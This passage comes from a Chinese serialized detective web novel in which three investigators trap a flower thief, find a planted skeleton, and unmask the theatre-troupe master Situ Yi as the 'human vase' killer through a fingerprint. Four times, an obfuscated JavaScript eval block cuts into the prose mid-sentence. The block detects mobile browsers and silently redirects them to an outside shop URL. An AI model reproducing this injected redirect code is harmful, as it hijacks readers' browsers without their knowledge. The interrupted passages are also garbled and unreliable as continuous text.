“雾山兄,我也曾独自查过案,知道势单力薄有多么力不从心。尤其像现在这种连环凶杀案,牵扯到的人之多、之广,怕是仅凭一人之力难以寻到真相。”万仙规劝道,“这些日子,吴扁和其他差役四处奔走,都还未将各个嫌疑人的证言调查完整,可见……” 万仙话还未说完,雾山角就打断道:“我累了,你们也早些回去休息吧!” 王博多看到他这副拒人千里的模样,顿时不悦起来,嚷道:“我们好心找你搭档,你却屡次撵我们走,也太不给面子了吧!你不就是怕别人与你为伴,却不能落得好下场嘛!可是我们不怕……喂!” 王博多的话也没有说完,因为雾山角已经抄起了手中的酒瓶,朝他丢了过来。 万仙早已察觉到雾山角眼里的怒火,见到酒瓶飞掷向王博多,他立刻飞出折扇。 扇柄打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121079|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在酒瓶上,让酒瓶转了个方向,摔在了地上。 “啪!”随着瓶子碎裂,酒洒了一地。 万仙闪了个身,快速地拾起扇子,仔细擦拭,余光就瞄到王博多对着雾山角怒目而视。 “雾山角!你你你……”王博多想了半天,终于蹦出一句,“你真是狗咬吕洞宾不识好人心!” 雾山角没有再说话,而是猛地将窗户一关。 后堂顿时陷入一片死寂。 窗外的万仙收起扇子,拍了拍王博多的肩膀。王博多闷闷不乐地撇撇嘴。 而屋内,雾山角坐在桌前,垂着头,闭上了眼睛。 自从人形花瓶案再次出现,往日的记忆便不停地浮现在他脑海。现在也是如此。 他看到了师父沈松,也看到他死去时痛苦的表情。他还看到了莫风藤,看到他被邪恶欲念扭曲的脸庞。他还看到了自己,那个靠在树干上睡着的、成事不足败事有余的自己。 很多个夜晚,很多个梦境,他就站在那颗树下,仰着头死死地、满怀恨意地盯着这样的自己。 你为什么要在这么重要的时刻打瞌睡? 你为什么不能再敏锐一点? 你为什么要害死别人? 他听到了无数的质问声,如战场上的箭,密密麻麻射向自己。而拉弓的射箭手,偏偏又是他自己…… 不知道过了多久,轻轻的叩门声,打断了雾山角朝自己放箭。 他睁开眼来,听到了万仙的声音:“雾山兄,你还没睡吧?” 他们为什么还没走?雾山角再次皱起眉头。 万仙又道:“雾山兄,你可知知县大人为何不亲自调查此案,而是赐我令牌,让我负责此事?因为他想,或许你会同意和我们一起查案。吴扁来藏乐楼找我们,也是为此。大家都知道你心里的结,也都在希望你能将它解开,向前看。可我们也能理解,你内心那股想要独自力挽狂澜的傲气,更明白,你怕我们在查案时遇到危险。可查案本就是有风险的事。我相信,无论是我,还是你的师父沈松,在开始追凶时,都有舍生忘死的觉悟。你不也是吗?” 万仙的声音不疾不徐地传进屋内,令雾山角抬起了头。 他面无表情地望着声音传来的方向,心里的湖水却泛起一层又一层的涟漪。 “小师爷,”这时,王博多的声音也响了起来,“我想你师父不会怪你的。” 雾山角握紧的拳头微微一颤。 他们两个现在是在演什么戏码?我又不需要他们的安慰! 他想要赶走他们,却听到万仙又道:“雾山兄,和我们一同探案吧,就像之前那两起案子一样。” 烦死了!我不需要! 雾山角想让他们滚,可是话到嘴边,却又化作一团空气,消散于无形。 门外又安静下来。 须臾,雾山角听到王博多道:“仙儿哥,我们说那么多没用。保不齐那大头睡过去了。走了走了,外面好冷啊。” 雾山角没有听到万仙的声音,或许他只是做了个动作予以回应。 接着,门外再次陷入寂静。 他们走了?雾山角腾地从凳子上站起来,疾步走到门边,打开了门。 只见万仙持扇伫立在门外,如瀑的乌黑长发随风飘散,眼里流露笑意。 “雾山兄,夜虽未深,但外面真的挺冷的。”他扬起嘴角,道,“愿意请我们进去喝壶茶吗?” 抱着双臂站在万仙身旁的王博多,则露出一个奸计得逞的笑容。 “烦死了!”雾山角低声咒骂,却在门口侧了侧身。 34.第三案:魔再现08 雾山角屋中,烛火摇曳,染得三人一身明黄。在这明黄里,他们相对而坐,面前各有一杯清茶。茶香随袅袅白烟晕在鼻头,令人心旷神怡。 万仙细细品着这点茶香,王博多则咕噜咕噜喝完一杯,再往里快速添水。 他完全不懂品茶,这番举动,简直是在暴殄天物。换作平时,雾山角定是要揶揄几句的。可是现在,他的思绪已全在案子上,根本没力气同他斗嘴。甚至,他连自己面前的这杯茶也不想品上一口。 长久的沉默里,窗外的风声清晰可闻。 雾山角头疼地撑着额头,闭上眼睛。 不知过了多久,万仙终于开口,问道:“雾山兄,你在想些什么?” 雾山角换了一只手扶额,道:“这凶手当初在花影阁偷了三株曼陀罗华,如今已经全部用上,是否说明,他已经完成了自己的全部计划?” “是有这种可能。” 雾山角扶着额头的手又握成了拳头,许久,他都未发一言。 待他再次睁开眼,万仙瞧见他眼里闪烁着惭愧之色。 “你知道我刚才在想什么吗?”雾山角问。 万仙注视着雾山角,眼色柔和,带着一丝关怀。 “我知道。”他轻轻地说。 雾山角瞪大双眼,惊讶道:“你知道?” “你是不是在希望,那凶手能继续作案,直到给我们留下破绽?”万仙看穿他,道,“而你又觉得拥有这样想法的自己甚是可恶,对吗?” 雾山角惭愧地点点头。 一旁的王博多又往嘴里灌了一杯茶,大咧咧道:“有这想法也是人之常情。而且谁能保证,那凶手用完这三株曼陀罗华后,就此收手?” “是的。”万仙想起围观猪八郝案的百姓,接话道,“若这凶手杀人就是为了逞英雄,那么他已经得到了一些百姓的赞赏。他很可能因为贪恋这份‘荣誉’,继续行凶。” “难道我们接下来,要派人去保护城中那些臭名昭著的恶虫?”雾山角苦笑道,“还真是讽刺。” 王博多接话道:“我们不仅要派人蹲守在可能的受害者身旁,还要在花影阁守株待兔吧?” 万仙微微颔首,道:“没错,连环凶杀案的凶手留下标识,就是为了让他人能确认这些案子都是他一人所为,以此来获得成就之感。他若继续犯案,必然不会轻易更改‘人形花瓶’口中的花束。他很可能会再次前往花影阁偷盗曼陀罗华。” “那为何之前他不一下子盗走更多的曼陀罗华?”雾山角疑惑道。 “这还用说嘛。”王博多道,“花影阁的老板说过,凌洛城的百姓都知道,没有他的秘制肥料,此花难以在此季节活过十日。凶手盗再多花,没办法在十日内用掉,花就枯死了,没用了。他大概是计算好,自己能在十日里杀三人,所以当初才仅偷走了三株曼陀罗华。” 王博多说完,对自己的分析颇为满意,于是朝万仙挑了个得意的眉。 万仙冲他笑了笑,可总觉得哪里不对。他一下子说不出不对劲的地方,只得拿起面前的茶杯,一边喝茶一边思索。 而这头,雾山角已经起身。 王博多赶忙问:“你要去哪?” “自然是去花影阁蹲守那凶手!谁能保证今晚他不会现身?” “今晚你就先好好休息吧。”王博多看了一眼万仙道,“仙儿哥早已派人蹲守在了花影阁。” “所以你们今晚来只是为了……” “为了成为你的搭档。”王博多嘿嘿一笑。 万仙虽未言语,却看着雾山角,再次露出那比烛火还亮的笑来。 夜已深了,窗外的风也还在呼呼地刮着,然而屋内这一方小小的天地,并没有被寒气侵蚀。茶是热的,烛火也是暖的,夜便不再那么难熬。 当夜蹲守在花影阁的差役并未蹲到偷花的贼人。万仙倒也不急,只嘱咐他们继续留心观察,切勿让那藏在暗处的凶手有可乘之机。当然,他也同雾山角梳理了凌洛城里可能会成为凶手下一个目标的受害者的名单。他们皆是作奸犯科,备受城民唾弃之人。虽然雾山角边整理边直摇头,可眼下,他们也不得不日日确认这些人的安全。 日子一天天过去。 凌洛城里,人们依旧会在茶余饭后,讨论这人形花瓶案。有人因官府抓不到凶手而担惊受怕,有人则表示:“这凶手应该为民除害,多带走几只恶虫,再消失匿迹为好”。 两派言语,不相上下,吵吵嚷嚷,难以停歇。 在这些时日里,雾山角因急火攻心导致的病症已渐渐消去。而那人形花瓶案的凶手,却再也没有现身。 连蹲守在花影阁的差役都忍不住开始发牢骚,这差事日日重复,又没有结果,令人丧气。 雾山角心里也泛起嘀咕:难道这凶手已经收手,不再作案了? 可万仙似乎并不觉得凶手会就此打住,仍提议继续监视。雾山角便自告奋勇,进入了监视花影阁的轮班中。 谁料,雾山角第一次轮班,就抓住了翻墙盗窃的贼人。 那夜子时,月落影深,万籁俱寂。花影阁的花园中,花朵寂静绽放,随风微微摆动。 忽然,一抹黑影翻上外墙,蹲在墙沿上机警地左顾右盼。见花园里并无异动,他才跃身跳下,轻盈的身影在地上稳了稳,便朝着那开得正盛的曼陀罗华走去。他刚要下手将那花连根拔起,就敏锐地察觉到了身后逼近的极轻的脚步声。 隐在黑暗里的雾山角此刻已然现身,他那把不忍剑划破夜空,欲要架在贼人的脖子上。 可那贼人机敏,知道自己中了埋伏,扔下手中的花,一个闪身躲过不忍剑,就要逃跑。 雾山角气定神闲,朝他的方向飞掠而去,身子腾空,一脚踢在那贼人的后背。 那贼人欲要原路翻墙逃走,被雾山角这么狠狠一踢,身子猛地撞到花园围墙上。 “砰!”他被撞得晕头转向,待回过神来,那把追他而来的剑还是架在了他脖子上。 “还想逃?”雾山角大呵一声,一把扯开了贼人蒙头遮脸的头套。 一张狭长的脸出现在他面前。此人鼻梁直挺,却贼眉鼠眼。见到自己被抓,他顿时垮下脸来,浮现苦相。 “你叫什么名字?”雾山角厉声问道。 “王……王猛。” “王猛,你就是人形花瓶案的凶手?”雾山角皱起眉头,打量着他。 王猛不停地摆手:“不是我,不是我!” “那你为何来偷盗曼陀罗华?” “是有人差小人来偷的……大人饶命……” “谁让你来偷的?” “我不知。” “你不知?”雾山角将不忍剑往他的脖子压了压。 王猛叫起来:“小人真不知!那人知道我善于偷盗,就往我家投了一封信,附上一两银子,托我来花影阁偷什么曼陀罗华……他并未属上自己的姓名,所以小人不知他是何人!小人也无需知道他是何人……只要给钱,什么事我都可以干。” “信?”雾山角冷声追问,“那信在何处?” “被我烧了。”王猛紧张地解释道,“是那雇主让我看完信后立即焚毁的!” “那他让你偷几株曼陀罗华?偷走后,又怎么交付于他?” “三株,他让我偷三株。”王猛道,“他让我偷到手后,放在附近北岷山的破庙天井里。” 闻言,雾山角收起了不忍剑。 王猛偷瞄了一眼雾山角,谄笑道:“大人,饶我这一次,小人下次再也不敢了。” 雾山角知道这种人说的话纯属放屁,并不予以理会,而是拿剑指了指地上的曼陀罗华。 王猛不明所以地看着他。 雾山角冷冷道:“挖三株,带去交差。” 王猛混迹江湖多年,自然知道雾山角的用意,急忙道:“小人遵命,定帮大人逮到那穷凶极恶的坏蛋!” 在去北岷山蹲守之前,雾山角叫醒了花影阁的老板叶木荒,让他去藏乐楼跟万仙通报一下今夜的情况。 往日,若是找到这样的线索,他早已独自出发去捉凶。但如今,他竟觉得自己要知会一声这临时的同僚们才行。 毕竟那凶手穷凶极恶,我一人若降不住,万仙还能用令牌带官差在北岷山下围堵住他。 雾山角想着,望了一眼藏乐楼的方向,离开花影阁,朝北岷山走去。 他刻意与偷花的王猛保持一定的距离,既不会让他有逃走的机会,又不至于让藏在暗处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121080|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶手察觉到王猛已经被官差逮住了。 二人偷偷摸摸地进入了北岷山。北岷山山腰间,隐匿着一座破旧的庙宇,青砖灰瓦间杂草丛生,庙中壁画也已失去了光彩。凄凉的月光照在这份残破上,只让人更觉荒凉。 王猛带着三株曼陀罗华,来到庙宇的天井。他将花小心翼翼地放在地上,在寒风里裹了裹自己的衣裳。 雇主在信里嘱咐他,当夜偷到花后,送到这庙宇里。他会在卯时之前,亲自来取,还会再给他二两银子。 人形花瓶连环凶杀案是城中近日热议的话题,大伙都知道凶手以曼陀罗华为标记作案,王猛自然也听说了。所以当接到雇主的委托时,他就怀疑过对方是否与凶案有关。看到他要亲自来取花,更是心里打鼓。 但他这行当本就似在刀口舔血,思来想去,他还是决定赌一把,按照对方的要求行事。 可要说他心里没有疑似害怕,也是假的。万一对方亲自取花,是为了杀人灭口,怎么办? 去花影阁偷花前,被雇主灭口的忧虑一直萦绕在他心头。 不过现在,他倒不怕了,反正自己中计被捉,只能戴罪立功,那雇主若是现身对自己下手,藏在暗处的小师爷,总不会见死不救。 思及此,他心安了些,然后开始盘算,在趁小师爷追凶时,自己如何趁乱逃走。 而此刻,雾山角躲在正对着天井的大悲殿里,目不斜视地盯着在寒风里等待的王猛。他一刻不敢懈怠,甚至都不敢多眨一眼。 他倒要看看,是谁故意挑衅他,模仿莫风藤作案! 可是时间一点点过去,天井里仍只有王猛一人。 难道那雇主知道王猛失手了?难道我这次也要扑个空吗? 雾山角心揪起来。 可不管他怎么祈祷雇主现身,这破庙里,就是没有第三人的身影。 只见夜色随着月亮落下,渐渐从浓稠的黑变为清淡的白……直到一缕晨曦刺穿天幕,白昼降临,也再无人出现。 天井里,只有忍不住打瞌睡的王猛被阳光刺得睁开眼,一边打着哈欠,一边对着身旁的曼陀罗华发呆。 “看来那人不会来了。”他对着大悲殿的雾山角喊道。 雾山角一脸疲惫地从殿内走出,问道:“你确定他说会在卯时之前会来取花?” “我奉命把信烧毁前,可是反复记过上面的字句,绝不会出错。”王猛抬头看看天光,“现在早已过了卯时。小师爷,我们怕是打草惊蛇了。他不敢来取花了。” 打草惊蛇。 雾山角在心里呢喃着这四个字,眉头紧蹙,无声叹息。 末了,他指着地上的曼陀罗华,对王猛道:“带上这些花,我们下山。” 王猛赶紧照做。下山时,他还求了雾山角一路,想让他放过他。 雾山角听得耳朵生茧,好在很快在山脚碰到了万仙、王博多和吴扁带领的一众差役。 他把王猛丢给吴扁。 王博多打量着王猛,诧异道:“他就是那人形花瓶案的凶手?” 雾山角摇摇头,把昨夜的事,详细地同众人叙述了一番。说完,他转头问万仙:“你们昨夜就在山下吗?” 万仙点头道:“叶老板也报后,我就和吴兄一行人赶来了北岷山,众人分散在各个暗处,蹲守了一夜。” “你们可有瞧见鬼鬼祟祟上山或下山之人?” 万仙摇头。吴扁和其他差役也跟着摇头。 雾山角扼腕道:“看来我们真的打草惊蛇了!” 王博多挠挠头,问:“那凶手没有偷到曼陀罗华,还会继续作案吗?” 万仙沉思片刻,道:“当年莫风藤犯案,每次都精心地挖坑埋尸,反倒是塞入死者口中的花朵,都是随手采摘的应季的花朵。这说明他更在意挖坑埋尸的仪式。但现在的凶手,除了在第一起案件,参照莫风藤,精心挖坑埋尸外,后续两起案件,尸体的摆放就随意了许多,反倒次次往死者口中塞入同一种花。这说明,他更在乎以曼陀罗华为标识。可如今他发觉我们在暗处监视他,不敢再来取花,或许他真的会停止作案。” 听到万仙这么说,雾山角苦恼不已。 如果凶手就此收手,他们如何才能将他捉拿归案? 35.第三案:魔再现09 是夜,万仙负手立于藏乐楼的清寒夜中,凝望着茫茫夜色,心中泛起层层愁绪。 凶手行事谨慎,作案干净利落,来无影去无踪,几乎没有留下什么有用的线索,宛若鬼魅。如今,他或许已察觉花影阁有埋伏,而他的目标也被官府暗中保护着。两边皆无法下手,他当真会就此收手,不再作案吗? 万仙的思绪被王博多的声音打断。 “仙儿哥,你也累了一天了,赶紧歇息吧。”王博多端来宵夜,见万仙与雾山角一样愁眉不展,便温声安慰道,“我们堵住了凶手这两条路,让他不敢轻举妄动,也算是维持了凌洛城的安定,这难道不是件好事吗?” 万仙闻言,勉强扯出一丝笑意。 王博多的话虽在理,可他心中总隐隐觉得,那凶手绝不会就此罢手。 这预感从何而来,他也说不清道不明。他无奈地摇了摇头,接过了王博多递来的宵夜。 宵夜下肚,困意渐起。万仙决定暂且放空思绪,好好睡上一觉。他总觉得接下来还有得他忙。 然而,万仙虽预感到凶手会继续作案,却未料到他的行动竟如此迅速,手段如此诡谲! 次日清晨,万仙被王博多急促的敲门声吵醒。 “仙儿哥,那凶手又作案了!” 这声通报如惊雷炸响,令万仙瞬间清醒。他迅速披衣起身,拾起折扇,推门而出。 “凶手在何处作案?”他急声问道。 “南洋街!凶手将尸骨留在了南洋街上……” “南洋街?这凶手越发猖狂了!竟敢在街上公然作案?”万仙眉头紧锁,忽又疑惑道,“等等,尸骨?” “具体情况我也不甚清楚,是小师爷差人来通报的,那差役说的的确是‘尸骨’二字。或许他只是口误?” 万仙不再多言,疾奔下楼。 虽是清晨,藏乐楼门口仍有因万仙所著之书而来的倾慕者。那人见万仙现身,忙上前攀谈。 万仙婉言表示有要事在身,随即在王博多的护卫下,匆匆赶往南洋街。 南洋街店铺林立,从早到晚,热闹非凡,今日更是人头攒动。百姓们围成一圈,各个好奇地探头向里张望,议论声此起彼伏。 万仙与王博多凭借知县令牌,以办案为由挤入人群,就见雾山角已在众人包围中,勘查起现场。 来报信的差役所言不虚,这一次,凶手留下的并非尸体,而是一具完整的人骨。 这具人骨被摆放在街中央,头骨轮廓分明,四肢修长,关节清晰,完整无缺。最令人震惊的是,那颌骨微张,口中竟插着一朵鲜红的曼陀罗华。 万仙凝视着眼前这具“人形花瓶”,心中震撼难平。而雾山角已拔出不忍剑,仔细比对着尸骨胸骨处的伤痕。 “这该不会是……”王博多显然想到了什么,惊讶地张大了嘴巴。 万仙蹲下身,低声问道:“这是莫风藤的尸骨?” 雾山角仔细比对后,转头看向万仙,沉声道:“他胸骨上有我当年用不忍剑留下的伤痕,应该就是被挖坟的莫风藤。” 万仙的目光落在尸骨口中的曼陀罗华上,眉头紧蹙。他伸手,小心翼翼地将那花抽出,仔细端详,果然发现那花竟是假造之物——它是由白纸涂上红色颜料制成的。 “看来凶手已知我们在花影阁设下埋伏,也知他的目标被官府保护,所以改用这尸骨制作‘人形花瓶’,并以假花作为标识。”雾山角压低声音,对万仙说道,“莫风藤虽已死,但他毕竟是杀人无数的恶魔。凶手糟蹋他的尸骨,将其曝于闹市,也算为当年的受害者及家属出了口恶气。只是不知,这围观的百姓若知晓凶手如此‘惩恶’,会不会再度称他为英雄。” 万仙转头望向乌泱泱的人群,默然失语。 雾山角起身,询问是谁最先发现了这具尸骨。人群中,一位卖早点的阿婆颤巍巍地举起手,说道:“是我……我早起出摊,就瞧见路中间摆着这具尸骨,吓得我差点背过气去。” 雾山角又问阿婆是否见过可疑之人。阿婆连连摆手:“没有没有,当时街上就我一人。后来听到我的叫声,才有其他人探出头来张望。” 雾山角又询问了周围其他人,却无人能提供有用的线索。 无奈之下,他命差役驱散人群,将莫风藤的尸骨与那朵假曼陀罗华带回衙门。 万仙随众人回到衙门,仔细端详起那朵纸制的曼陀罗华,仿佛要将它的每一处细节刻入脑海。 “仙儿哥,可有什么发现?”王博多好奇地问道。 万仙未答,而是凝神细看那假花的花瓣、花梗与花蕊。他发现,花瓣虽被涂成红色,花梗为绿色,但花蕊部分却留有一处未涂色的白点。 他思索片刻,伸手将那假花从花梗处缓缓拆开。 雾山角见状,心里一紧,生怕他毁坏物证,欲要阻拦,却又硬生生止住动作。 万仙这么做自有他的道理。他暗自思忖。 接着他就看到,花朵拆开后,纸上几处未完全涂色的部分便显露出来了,而那些空白处,竟留着几枚染着颜料的手指印。 “这些手印定是凶手制作假花时不小心留下的!”雾山角声音中透着一丝兴奋,“指纹乃每个人独有的标识。我们只需将与死者有关之人召集起来,一一比对他们的指印,就能揪出凶手!” 万仙却摇了摇头。 “万仙兄是觉得排查范围太大了?”雾山角道,“确实,此案牵涉之人众多,但只要花些功夫,我们定能确认凶手身份。” 万仙沉默片刻,然后伸出一根手指,指向纸上的一枚指纹。 他缓缓道:“不必一一比对了,我见过这枚指纹。” “啊?”雾山角与王博多闻言,皆忍不住惊呼。 凌洛城中人人皆知万仙记忆力超群,但指纹由无数细小的脊线与沟槽组成,形态千变万化,万仙真能从中辨认出某一枚?雾山角难以置信。 然而,万仙神色严肃地吩咐王博多道:“王博多,去藏乐楼将我的信件全部取来。” 王博多虽满腹疑问,却未多言。他领命后迅速赶往藏乐楼,不多时便抱回一堆信件。 万仙将信件倒在案牍之上,快速翻找起来。 片刻后,他找到了记忆中的那封信——那是戏楼“梦华台”新任班主寄来的信,信中附有一份委托万仙撰写戏本的契书,契书末尾印着班主的手印。 那手印的纹路,与假曼陀罗华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124387|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的指纹完全吻合。 雾山角反复比对三次,既惊叹于万仙的记忆力,又咬牙切齿道:“看来这想逞英雄的凶手,正是此人!” 说罢,他提起不忍剑,带着万仙与王博多直奔梦华台。 梦华台每日演出两场,一场在下午,一场在晚上。此时刚过午时,戏楼门外却已挤满了观众。他们为争个好位子,推搡不休,场面混乱不堪。 雾山角见状,误以为又出了命案,疾步上前。当他看到众人满脸期待的表情时,方知自己会错了意,遂停下了脚步。 万仙轻抚扇骨,抬眼看了看戏楼门口的戏单。今日下午上演的,正是梦华台最负盛名的《焚天记》——当初“蚌中仙”一案中,鸢楚姑娘就曾观来此戏楼看过这出戏。 《焚天记》讲的是书生为救落魄少女,杀死恶霸,成为人人敬仰的英雄的故事。万仙与王博多当初调查蚌中仙一案时,这出戏并未像如今这般火爆,饰演书生的也非今日戏单上的陆柏公子,而是司徒翊。 司徒翊,正是梦华台现今的班主! 原来他们早已与凶手打过照面?万仙心中暗忖,随即跟随雾山角挤入人群。 起初,众人对有人插队颇为不满,纷纷咒骂,但见来者是雾山角,顿时噤声,默默让出一条路。 梦华台门口的小厮见到他们一行人挤到门口,不耐烦地嚷道:“还未开门,急什么!都给我在外面等着!” 但他很快认出了来者是小师爷,立刻换了副嘴脸,殷勤道:“大人里面请,我这就为您安排上好的座位!” 雾山角抬手打断他的假客套,直截了当问道:“你们班主司徒翊在何处?” “班主?”小厮面露畏缩之色,“班主正在戏房清点道具。” “带我们去见他。” 小厮虽不明所以,却也不敢违抗,只得点头哈腰,领着三人前往戏房。 行至戏房门口,小厮正欲敲门通报,却被雾山角拦下。 他要出其不意闯入,以防司徒翊逃脱。 然而,就在他推门的瞬间,“砰”的一声,一杆长枪猛地穿透门纸,直刺而出! 为保安全,戏班所用长枪的枪头本应是木制,但这杆长枪的枪头却闪着银光,尖锐无比,直逼雾山角胸膛! 千钧一发之际,一把折扇飞旋而来,“啪”的一声,打在枪杆上,令其偏转了方向。雾山角迅速后仰,险险避过这一击。 持枪者未料门外之人能躲过这突如其来的一击,正欲再刺,雾山角已猛地侧身,一把抓住了枪杆。随即,他闪身向前,肩头发力,狠狠撞向戏房木门。 “轰”的一声,木门应声而碎。 万仙抬眼望去,只见门内握枪而立、目光凌厉的,正是司徒翊。他年未四十,正值壮年,体型精壮,面容如刀削斧凿,气势逼人。 司徒翊见雾山角紧抓着枪杆,猛然发力,令长枪急速旋转起来。雾山角握不住枪杆,只得调转身形,迅疾扑向司徒翊。与此同时,不忍剑已出鞘,如闪电般直指司徒翊。 一时间,刀光剑影,金铁交鸣。 门外,万仙已经快速地捡回自己的折扇,怜惜地抚摸着它,心中苦笑:怎么次次要他的宝贝救急?! 36.第三案:魔再现10 此刻,戏房内,雾山角与司徒翊激战正酣。司徒翊手中长枪如龙蛇翻腾,屡次刺向雾山角的咽喉与肩胛,招招凌厉,却被雾山角以迅捷的身法一一化解。 门外,万仙与王博多恍若置身戏台之下。若非知晓此番是来捉拿凶犯,二人几乎要为雾山角鼓掌喝彩。 那头,司徒翊见自己落了下风,不免乱了心绪,分了神。这一分神,雾山角立即逮到机会,挥起不忍剑要砍断他握着长枪的手。 司徒翊眼看不忍剑就要挥下,惊得松开了手。 长枪落地,胜负已分。 雾山角一个反身,将不忍剑调转方向,刺向了司徒翊。 “啊!”门口带他们前来的小厮早已惊得双腿发软,此刻看到班主要被杀死,吓得尖叫出声。 然而雾山角并未将不忍剑刺进司徒翊的体内。那剑尖只是划破了司徒翊的衣裳,抵达他的胸口,在皮肤上割出血来。 剑尖悬停,胸口处的疼痛让司徒翊浑身一怔。 一滴冷汗从他的脑袋上流下来。 “司徒翊,城中那些人形花瓶,可是你所为?”雾山角厉声质问。 “我不懂你在说什么。”司徒翊咬牙硬撑。 门外王博多闻言,立即嚷道:“方才你拼死抵抗,分明是做贼心虚!现在还装什么糊涂?” 雾山角冷笑一声,喝道:“王博多,取纸来!” 王博多瞥了一眼万仙,见其微微颔首,便跃入戏房,掏出早已备好的白纸。雾山角一把抓起司徒翊右手拇指,摁向其胸口的伤口。司徒翊倒吸一口凉气,却无力挣脱,只得任由他摆布。随后,雾山角将他染血的拇指摁在了白纸之上。 王博多随即取出印有凶手手印的假花用纸,与司徒翊的手印比对。 雾山角扫视一眼,厉声道:“今晨南洋街惊现插花人骨,那假花用纸上留有凶手指纹,与你的一模一样!” “啊!”门口传来阵阵惊呼。 司徒翊抬头望去,只见刚刚那一番打斗,已经引来了戏班的众人。 他们原以为是有人闹事,正准备要为班主出头,就听到了这令人惊愕的消息。 “大人,此事恐怕有误会!”有人颤声喊道。 王博多举起两张印有手印的纸,高声喝道:“证据确凿,岂会有错!你们的班主司徒翊,正是近日城中人形花瓶凶杀案的真凶!” 人群中,一位上完妆,扮作书生模样的俊朗少年泪眼婆娑,不可置信地问道:“师父,这……这是真的吗?” 司徒翊垂首不语,片刻后,低声问雾山角:“你们如何得知这指纹是我的?” 此言一出,无异于认罪。 “师父!你为何……为何要杀人啊!”那少年哭喊着欲要冲上前,却被众人拦住。 司徒翊抬头望向少年,淡淡道:“陆柏,我杀他们,乃是替天行道!我从来戏楼的宾客口中,得知了这些人的罪刑——卫扶买卖尸体,丧尽天良。苏霓裳排放污水,致人染病,更是罪大恶极。而那猪八郝!他讹诈为生,横行霸道,比《焚天记》中的恶霸还要令人作呕!他们哪个不该死?” 他转向雾山角,冷笑道:“官府无能,或未察觉其恶行,或无法将其定罪……即便定罪,也不过关押几日便放虎归山。你们既然做不到为民除害,那便由我来做!替天行道,吾乃英雄!” 万仙轻摇折扇,问道:“那你为何挖走莫风藤遗骨,模仿他将人制成花瓶?” “万仙公子。”司徒翊道,“我挖走莫风藤的遗骨,自然是要把这起起命案,嫁祸到他身上。” 王博多追问:“既如此,为何又将他的尸骨弃于南洋街?” 司徒翊愤然道:“我本想继续为民除害,奈何你们暗中保护那些恶徒,更阻碍我取得曼陀罗华。你们以为这就可以阻止我?但我偏要让你们知道,我绝不会就此罢休!莫风藤也是罪大恶极之徒,当初轻易伏诛,民众怨气未消,我便让他再死一次!你们阻碍我获得真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雾山角勃然大怒,手腕一翻,如铁钳般扣住司徒翊双臂,将其反剪于背。 “这些妄言,留着去牢里,说给四壁听吧!” 说罢,雾山角在众目之下,押走了司徒翊。 人群中,陆柏忍不住又唤了一声:“师父!”他的声音凄凉哀伤,在空中久久回荡…… 37.第三案:魔再现11 霉烂的稻草散发着腐朽的气息,在潮湿阴冷的牢房里徘徊。 司徒翊蜷缩在墙角,闭着眼睛,倾听远处传来的更鼓声。忽然,更鼓声停止,牢房里传来脚步声。 他缓缓抬起头,看到狱卒引领着一位身影修长的男子步入牢房。那人倾泻而下的黑发下,是一张皎洁如玉的面容。他深邃的眼睛穿透冰冷的铁栅,直视着他。那眼神冷冽异常,犹如万千冰刃划破空气,要刺死司徒翊。 “万仙?”他嘶哑地叫出他的名字。 万仙收起一直拿在手上的令牌,抬手让那狱卒退下,继续凝视司徒翊那张惊讶的脸。 良久,万仙才开口道:“司徒翊,戏楼里那番慷慨激昂的表演真是精彩。” 司徒翊不解道:“万仙公子,你今夜来找我是为何事?该招的,我都已经招了。” 万仙冷笑道:“今夜我来找你,是想破了你的妄想。” “我有什么妄想?” “起初,众人皆以为,这人形花瓶案的凶手,是冲着雾山角而来。”万仙缓缓道,“但事实上,你是冲我而来的……对吗?” 司徒翊闻言,脸上的惊讶瞬间转为惊愕。但很快,他稳住了情绪,道:“公子,我诛杀那些恶徒,既非为小师爷,也非为你,只为我心中的正义。” “这些冠冕堂皇的话,我也早已听腻,换个新鲜的吧!”万仙故意学他的话讥讽道,“凌洛城中,众人皆知,我笔下的黑衣武探,就是小师爷雾山角。亦有不少人知晓,我们曾共同探案。你以为只要将小师爷卷入其中,我便会随之入局,所以你暗中跟踪清明节祭拜阿弟的莫雨焉,找到莫风藤的坟墓,挖出他的尸骨,营造出恶魔重返人间作案的假象,迫使小师爷不得不调查此案。而你赌的,就是他会带上我查案。” 司徒翊脸上的惊愕已逝,取而代之的是饶有兴致的神情,示意万仙继续说下去。 